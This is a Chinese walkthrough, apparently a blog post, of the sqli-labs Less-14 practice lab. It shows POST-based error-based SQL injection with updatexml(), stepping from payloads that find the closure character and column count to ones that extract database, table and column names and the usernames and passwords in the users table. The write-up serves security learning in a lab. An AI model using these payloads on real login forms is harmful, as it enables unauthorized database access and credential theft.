sqli-labs less-14post报错注入updatexml

post提交报错注入

闭合方式及注入点

利用hackbar进行注入,构造post语句

uname=aaa"passwd=bbb&Submit=Submit

页面报错,根据分析,闭合方式".

确定列数

构造

uname=aaa" or 1=1 # &passwd=bbb&Submit=Submit 确定存在注入
uname=aaa" order by 3 # &passwd=bbb&Submit=Submit 有报错

uname=aaa" order by 2 # &passwd=bbb&Submit=Submit 无报错,列数2

回显位置

uname=aaa" union select 1,2 # &passwd=bbb&Submit=Submit

发现页面没有回显,想到前面 存在报错,想到报错注入

使用updatexml()函数来进行报错注入

查询数据库与版本等

  • uname=aaa" union select 1,updatexml(1,concat('~',(select database())),3) # &passwd=bbb&Submit=Submit
    数据库名
  • uname=aaa" union select 1,updatexml(1,concat('~',(select version())),3) # &passwd=bbb&Submit=Submit
    版本

爆出所有数据库

  • uname=aaa" union select 1,updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 5,1)),3) # &passwd=bbb&Submit=Submit
    通过修改limit函数的值来查询所有的数据库名

爆出所有表名

  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 1,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 2,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1)),3) # &passwd=bbb&Submit=Submit
    得到users

爆出列名

  • uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),3) # &passwd=bbb&Submit=Submit
  • uname=aaa" union select 1,updatexml(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1)),3) # &passwd=bbb&Submit=Submit
    得到列id,username,password

爆出数据

  • uname=aaa" union select 1,updatexml(1,concat('~',(select concat(username,':',password) from security.users limit 0,1)),3) # &passwd=bbb&Submit=Submit
    修改0的值,就可以得到所有的数据

完成,

相关推荐
MegaDataFlowers6 分钟前
使用MyBatisX快速生成CRUD
mybatis
PaperData27 分钟前
1988-2025年《中国人口和就业统计年鉴》全年份excel+PDF
数据库·人工智能·数据分析·经管
敖正炀42 分钟前
插件开发与拦截链——分页、脱敏、多租户实战
mybatis
星河耀银海1 小时前
C语言与数据库交互:SQLite实战与数据持久化
c语言·数据库·sqlite·交互
敖正炀1 小时前
MyBatis 架构全解:SqlSession、Executor 与 StatementHandler
mybatis
敖正炀1 小时前
一级/二级缓存深度:生命周期、脏读与生产最佳实践
mybatis
过期动态1 小时前
MySQL中的约束
android·java·数据库·spring boot·mysql
程序员陆通1 小时前
月烧 400 刀到不到 20 刀:我是怎么把 OpenClaw 的 Token 账单砍掉 95% 的
java·前端·数据库
Shan12051 小时前
站在计算机领域视角看:SQL注入攻击
网络·数据库·sql
轻刀快马2 小时前
别干背八股文了:从一场“双十一秒杀”惨案,看懂 InnoDB 事务、锁与索引的底层齿轮
数据库·sql